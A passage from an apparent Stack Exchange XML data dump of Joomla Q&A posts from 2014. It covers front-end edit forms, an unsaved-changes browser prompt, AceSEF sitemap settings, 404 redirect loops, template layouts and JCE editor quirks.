&amp;lt;/ul&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;tab-content&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;tab-pane active&quot; id=&quot;editor&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('title'); ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php if (is_null($this-&amp;gt;item-&amp;gt;id)) : ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('alias'); ?&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('articletext'); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php if ($params-&amp;gt;get('show_urls_images_frontend')): ?&amp;gt;&#xA;                &amp;lt;div class=&quot;tab-pane&quot; id=&quot;images&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_intro', 'images'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_intro_alt', 'images'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_intro_caption', 'images'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('float_intro', 'images'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_fulltext', 'images'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_fulltext_alt', 'images'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('image_fulltext_caption', 'images'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('float_fulltext', 'images'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urla', 'urls'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urlatext', 'urls'); ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('targeta', 'urls'); ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urlb', 'urls'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urlbtext', 'urls'); ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('targetb', 'urls'); ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urlc', 'urls'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('urlctext', 'urls'); ?&amp;gt;&#xA;                    &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('targetc', 'urls'); ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;div class=&quot;tab-pane&quot; id=&quot;publishing&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('catid'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('tags'); ?&amp;gt;&#xA;                    &amp;lt;?php if ($params-&amp;gt;get('save_history', 0)) : ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('version_note'); ?&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('created_by_alias'); ?&amp;gt;&#xA;                    &amp;lt;?php if ($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('access-change')) : ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('state'); ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('featured'); ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('publish_up'); ?&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('publish_down'); ?&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('access'); ?&amp;gt;&#xA;                    &amp;lt;?php if (is_null($this-&amp;gt;item-&amp;gt;id)):?&amp;gt;&#xA;                        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                                &amp;lt;?php echo JText::_('COM_CONTENT_ORDERING'); ?&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;tab-pane&quot; id=&quot;language&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('language'); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;tab-pane&quot; id=&quot;metadata&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('metadesc'); ?&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('metakey'); ?&amp;gt;&#xA;&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;return_page; ?&amp;gt;&quot; /&amp;gt;&#xA;                    &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('enable_category', 0) == 1) :?&amp;gt;&#xA;                    &amp;lt;input type=&quot;hidden&quot; name=&quot;jform[catid]&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;params-&amp;gt;get('catid', 1); ?&amp;gt;&quot; /&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2014-07-23T12:11:22.800" LastActivityDate="2014-07-25T08:32:25.010" Title="Are you sure you want to navigate away from this page? Browser popup to avoid accidental tab closure while editing" Tags="|joomla-3.x|editor|jce|front-end|browser-detection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3601" PostTypeId="2" ParentId="3600" CreationDate="2014-07-14T16:03:09.773" Score="6" Body="&lt;p&gt;You can use the following Javascript which will bring up a alert box asking if you want to leave the page or stay on it when you go to close a browser tab.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    window.onbeforeunload = function() {&#xA;        return 'Make sure you have saved your JCE content';&#xA;    }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you're wondering where to add your code, you can either:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add it to your admin template index.php file, however this is a core hack to any template updates will override this change.&lt;/li&gt;&#xA;&lt;li&gt;You can create a small &lt;a href=&quot;http://docs.joomla.org/Portal:Plugin_Development&quot; rel=&quot;nofollow noreferrer&quot;&gt;Plugin&lt;/a&gt; which executes this code.&lt;/li&gt;&#xA;&lt;li&gt;Create a &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Override&lt;/a&gt; for com_content view and inject the above code into the head using Joomla's &lt;code&gt;addScriptDeclaration()&lt;/code&gt; function.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code&gt;$js = '&#xA;    var needToConfirm = true;&#xA;&#xA;    window.onbeforeunload = confirmExit;&#xA;    function confirmExit() {&#xA;        if (needToConfirm) {&#xA;            return &amp;quot;Make sure you have saved your JCE content&amp;quot;;&#xA;        }&#xA;    }    &#xA;';&#xA;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;addScriptDeclaration($js);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-07-23T12:20:09.197" CommentCount="26" ContentLicense="CC BY-SA 3.0" />
  <row Id="3602" PostTypeId="2" ParentId="2372" CreationDate="2014-07-14T19:03:59.760" Score="2" Body="&lt;p&gt;Apologies for the slow response. I found that there are two ways to exclude items from both AceSEF urls and Sitemap and there is a further way to hide sitemap entries:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Exclude whole components from AceSEF:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In AceSEF-&gt; Extensions, set the Router to &quot;Disable SEF&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GE3ON.png&quot; alt=&quot;Screenshot of AceSEF extensions with Disable SEF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Exclude categories from Content&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For Content, if you click on the Extension name to edit the configuration, there is a field to select the categories to which SEF urls are applied, ie. this can be used for excluding whole categories from SEF url creation and therefore also sitemap generation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ei3bI.png&quot; alt=&quot;Screenshot of AceSEF content extension, category selection field&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Exclude single items from Sitemap&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;On top of the previous methods, which stop the creation of urls in the first place, sitemap entries can be manually unpublished. To do this go to AceSEF-&gt;Sitemap and unpublish the entries as needed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C1ebL.png&quot; alt=&quot;Screenshot of AceSEF Sitemap screen with publish/ unpublish butttons highlighted&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2014-07-14T19:03:59.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3603" PostTypeId="2" ParentId="3570" CreationDate="2014-07-14T21:43:16.357" Score="3" Body="&lt;p&gt;Hopefully this helps answer the question. The reason your getting the 110 instead of the 180 Itemdid is because your on the home page. Most modules will pick up on the current Itemid (in this case the home page, 110), not the Itemdid of the target menu  your looking for. Articles aren't tied to Itemdid's when they are created. The Itemid id us purely a numerical value for a menu itemid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some blog modules allow you to set a target Itemid, which would tie it to the proper menu Itemid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only reason I can think of that your Itemdid's are being tied to 110 no matter what (even if your on the Blog menu link with 180) is that your using an external link to land on the blog page, which is carrying the 110 itemid with it?&lt;/p&gt;&#xA;" OwnerUserId="301" LastActivityDate="2014-07-14T21:43:16.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3604" PostTypeId="2" ParentId="2516" CreationDate="2014-07-14T21:58:10.233" Score="2" Body="&lt;p&gt;Here goes nothing....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First this may not be an answer, its just a chain of thought that might help isolate the actual issue, by the looks of it without admin access it would be hard to dive deeper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First it is redirecting to 404 because it thinks the page is not there. However 404 is also not there, so it tries to redirect to the 404 page, and you can see where the redirect loop starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am guessing you have no menu item for the 404? Try to add one and point it to some article and see if that helps the redirect loop (for starters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then take that menu item and grab the id. After that go to &lt;code&gt;http://www.melvilletenniscentre.com.au/index.php?Itemid=MENU_ITEM_ID&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the page show up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so then most likely your htaccess file is not working, or you do not have the global configuration for rewrites created properly (or something with SEF). My best guess is the htaccess file, replace it with a brand new joomla installs version. For the global configuration, check the &quot;site&quot; tab. The settings you are looking for is &lt;code&gt;Search Engine Friendly URLs&lt;/code&gt; and &lt;code&gt;Use URL rewriting&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not then it is a more serious problem, this is the baseline for how the menu manager works, so I would attempt to update Joomla to see if that helps, sometimes the newer files can fix issues (though I find that unlikely).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the 404 page, something in your website is telling 404 pages to redirect there. There are a lot of things that can do that, but my guess is possibly the template error.php file. This file is meant to handle 404's.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;error-&amp;gt;getCode() == '404') {&#xA;header('Location: '.JRoute::_('index.php?Itemid=156'));&#xA;exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is an example of what you might see there, although possibly different, using Itemid like above would avoid the redirect loop, most likely yours would be going to /404 instead without using JRoute to define a menu item (this way even changing the alias will still redirect properly).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at that new 404 page, there is an error in your templates error.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Fatal error: Cannot access protected property JException::$message in /home/USER/public_html/DOMAIN/templates/TEMPLATE/error.php on line 52&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at line 52 there and see if there is anything that can be done there. Without seeing it I cannot really help with the exact cause but most likely you could remove that portion without much problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page still reads a 404, meaning the record in question cannot be found and it has given me another thought, what is the publish dates? you can set a start publishing and and end publishing date, if they are set it could be triggering the 404. They can be found in the k2 item.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="75" LastEditDate="2014-07-15T18:33:08.890" LastActivityDate="2014-07-15T18:33:08.890" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3605" PostTypeId="2" ParentId="2543" CreationDate="2014-07-15T06:10:31.687" Score="0" Body="&lt;p&gt;Column rawpassword does not exist in 2.5. I am guessing it existed in 1.5. You can manually create such a column in the backend for 2.5 and continue with the upgrade. Once upgrade is done, delete that column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't actually tried this but it might work. If you have a backup of 1.5 before upgrade, there is no harm trying things out.&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2014-07-15T06:10:31.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3606" PostTypeId="1" CreationDate="2014-07-15T07:10:48.550" Score="1" ViewCount="410" Body="&lt;p&gt;I am trying to make a joomla template. I am also using bootstrap v2.3.2. I want to make a design 3/12-6/12-3/12 distribution. &#xA;I am checking if any modules are positioned on the left and right columns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$span = 12;&#xA;&#xA;if ($this-&amp;gt;countModules('right')) $span -= 3;&#xA;if ($this-&amp;gt;countModules('left'))  $span -= 3;&#xA;&#xA;&amp;lt;?php if ($this-&amp;gt;countModules('left')): ?&amp;gt;&#xA;    &amp;lt;div id=&quot;sidebarleft&quot; class=&quot;span3&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;left&quot; style=&quot;well&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;content&quot; class=&quot;&amp;lt;?php echo $span; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;message&quot; /&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php if ($this-&amp;gt;countModules('right')) : ?&amp;gt;&#xA;    &amp;lt;div id=&quot;sidebarright&quot; class=&quot;span3&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;right&quot; style=&quot;none&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have assigned a &lt;code&gt;mod_articles_category&lt;/code&gt; module to left position but it is empty. So the module is not shown. But joomla thinks that there is a module in that position and it has to shrink content with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use the space if module is not shown on a page?&lt;/p&gt;&#xA;" OwnerUserId="440" LastActivityDate="2014-08-19T21:03:45.820" Title="How to distribute width in according to module count?" Tags="|templates|twitter-bootstrap-2|positions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3608" PostTypeId="1" CreationDate="2014-07-15T08:35:47.667" Score="1" ViewCount="837" Body="&lt;p&gt;Front-end editing in Joomla 3 is a bit limited. How could I add more features to it such as the &quot;alias&quot; or the &quot;association&quot; tab, or maybe to get on the front-end the same features than in backend? &lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2014-10-10T13:04:54.300" Title="how to add more frontend feature to front-end editing (alias, association...)" Tags="|joomla-3.x|editor|front-end|alias|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3609" PostTypeId="1" AcceptedAnswerId="3636" CreationDate="2014-07-15T09:07:10.003" Score="1" ViewCount="321" Body="&lt;p&gt;I use the category note field as a reminder for the &quot;article template&quot; I use for the articles in that category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example of a category note: always add module 20 (using module anywhere) at the bottom of the article. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save me time I would like to display this note when I am on the article manager page so that I can see it just before I click on &quot;create a new article&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Another way of doing it, could be to have sticky notes on backend, or an extra field in the article editing page so that I can see this reminder. &#xA;Note that simply adding another field to the article as describe &lt;a href=&quot;http://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; won't work as I don't want to add new info on each article but rather the opposite: the same reminder should be display on all articles. &lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-07-16T06:53:18.407" LastActivityDate="2014-07-17T09:40:22.920" Title="Display the category notes on the page &quot;article manager&quot;" Tags="|joomla-3.x|administrator|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3610" PostTypeId="1" CreationDate="2014-07-15T09:28:59.140" Score="2" ViewCount="1667" Body="&lt;p&gt;I have tried so many things and I still can't make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 2.5.20, with JCE 2.3.4.4, on a Mac, I have the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the editor, I have a set of divs, and if I select them (either visually by dragging the cursor, or via a click in the path) and copy them with cmd + copy, when I paste it (either via the shortcut, or the paste dialog), the pasted content has no &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;'s because these were converted to &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt;'s!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I noticed, is that the pasted content in the paste dialog has the divs, so the conversion/stripping is done when placing into the editor, not when copying!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I would like it not to strip the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; nor convert it to anything else.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding &lt;code&gt;div&lt;/code&gt; to the &quot;keep tags&quot; (profiles &gt; [my profile] &gt; plugin parameters &gt; clipboard) but that makes it worse, it not only removes the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag but also any other tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the super-admin, which doesn't have text filtering, and the JCE profile doesn't have the &quot;cleanup HTML&quot; nor &quot;validate HTML&quot;. All other filters in JCE are off (don't strip class attributes, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has a solution for this?&lt;/p&gt;&#xA;" OwnerUserId="38" LastActivityDate="2014-07-16T15:52:03.550" Title="how to prevent JCE from removing/replacing divs on copy/paste" Tags="|editor|jce|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3611" PostTypeId="1" CreationDate="2014-07-15T10:55:07.637" Score="1" ViewCount="1720" Body="&lt;p&gt;I'm writing articles commenting diverse sources from the web (youtube video/news articles, blogs...). &#xA;To show which article I'm commenting I'm using an image (thumbnail + some text). So my article looks a little bite like a facebook post: the &quot;link preview&quot; (basically an image) is shown on the side of my comment about this source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How a link preview works: you dropped an URL in your editing box (example your Facebook post or leocardz code) and it automatically fetch the title some text and build a thumbnail of the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A link preview looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pija1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the moment I'm using either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the Facebook &quot;link preview&quot; feature to generate the link preview, (I&#xA;screen-shot the link preview and use the image in my article)&lt;/li&gt;&#xA;&lt;li&gt;or a better alternative: the a great &lt;a href=&quot;http://lab.leocardz.com/facebook-link-preview-php--jquery/&quot; rel=&quot;nofollow noreferrer&quot;&gt;leocardz code&lt;/a&gt; to generate&#xA;the link preview (used as a screen-shot).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To use leocardz code I just dropped his folder into my ftp, and access this link preview when I need it. Since I did not find a way to make leocardz code working inside JCE I need to screenshot the link preview (that theoretically could be done automatically by the editor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am surprised I couldn't find this link preview in any plugin. I find it strange because it's an essential a basic social media function (when you past an URL into your post you expect it to show a preview of your link) and because the code is available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know any Joomla plugin /editor that support link preview?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2015-12-13T09:58:02.907" LastActivityDate="2021-09-03T07:46:01.773" Title="Any “Link Preview” (like the facebook feature) in joomla editor?" Tags="|joomla-3.x|plugin|editor|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3612" PostTypeId="1" AcceptedAnswerId="3613" CreationDate="2014-07-15T10:59:31.740" Score="5" ViewCount="760" Body="&lt;p&gt;When editing articles with EDITOR set to NONE, &lt;strong&gt;is there a way to have the article edit box stretch the full width of the screen (in Joomla2.5)?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can resize the width manually, but I'd like it to be permanent. Also I find the publishing options positioned to the right of the article edit box to be a nuisance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CURRENT LAYOUT&#xA;&lt;img src=&quot;https://i.stack.imgur.com/C0Ksh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DESIRED LAYOUT&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OMcSz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Research&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I've done a search for administrative templates, but haven't found&#xA;any that do what I need.&lt;/li&gt;&#xA;&lt;li&gt;I'm not looking for a different editor, but suggestions are still&#xA;welcome.&lt;/li&gt;&#xA;&lt;li&gt;I've taken a very rudimentary look at the CSS, but haven't coded a&#xA;solution yet. When I have more time I will work on this option and&#xA;post the results.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2014-07-15T11:05:49.973" LastActivityDate="2014-07-17T23:54:52.893" Title="Is there a way to have the article edit box stretch the full width of the screen in Joomla 2.5?" Tags="|templates|articles|administrator|css|editor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3613" PostTypeId="2" ParentId="3612" CreationDate="2014-07-15T14:26:27.370" Score="5" Body="&lt;p&gt;You can just add a view override in the template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Component Output Types and Layout Overrides&lt;/strong&gt;&#xA;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides#Component_Output_Types_and_Layout_Overrides&quot;&gt;http://docs.joomla.org/Understanding_Output_Overrides#Component_Output_Types_and_Layout_Overrides&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The override only has to include your new CSS style modification, and the original view. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File: administrator/templates/bluestork/html/com_content/article/edit.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Protect from unauthorized access&#xA;defined('_JEXEC') or die();&#xA;&#xA;JFactory::getDocument()-&amp;gt;addStyleDeclaration(&quot;.width-40 {display:none}&quot;);&#xA;JFactory::getDocument()-&amp;gt;addStyleDeclaration(&quot;div.width-60 {width: 100%;}&quot;);&#xA;&#xA;include_once JPATH_ADMINISTRATOR . '/components/com_content/views/article/tmpl/edit.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PD: I think it's much better to keep both panels shown, but one on top of the other &lt;em&gt;&quot;div.width-40, div.width-60 {width: 100%;}&quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-07-15T14:32:29.177" LastActivityDate="2014-07-15T14:32:29.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3614" PostTypeId="2" ParentId="3611" CreationDate="2014-07-15T14:43:15.547" Score="1" Body="&lt;p&gt;I checked &lt;a href=&quot;http://extensions.joomla.org/category/authoring-a-content/article-preview&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions - Article Preview&lt;/a&gt; and found 4 plugins and a component/plugin that appear to do what you're looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your clarification, I wouldn't expect this to be an easy plugin to write - certainly not a generic preview as each site with content to preview would package it differently, and the plugin would have to understand how to find the content you're looking for &lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="5239" LastEditDate="2015-12-21T19:34:58.493" LastActivityDate="2015-12-21T19:34:58.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
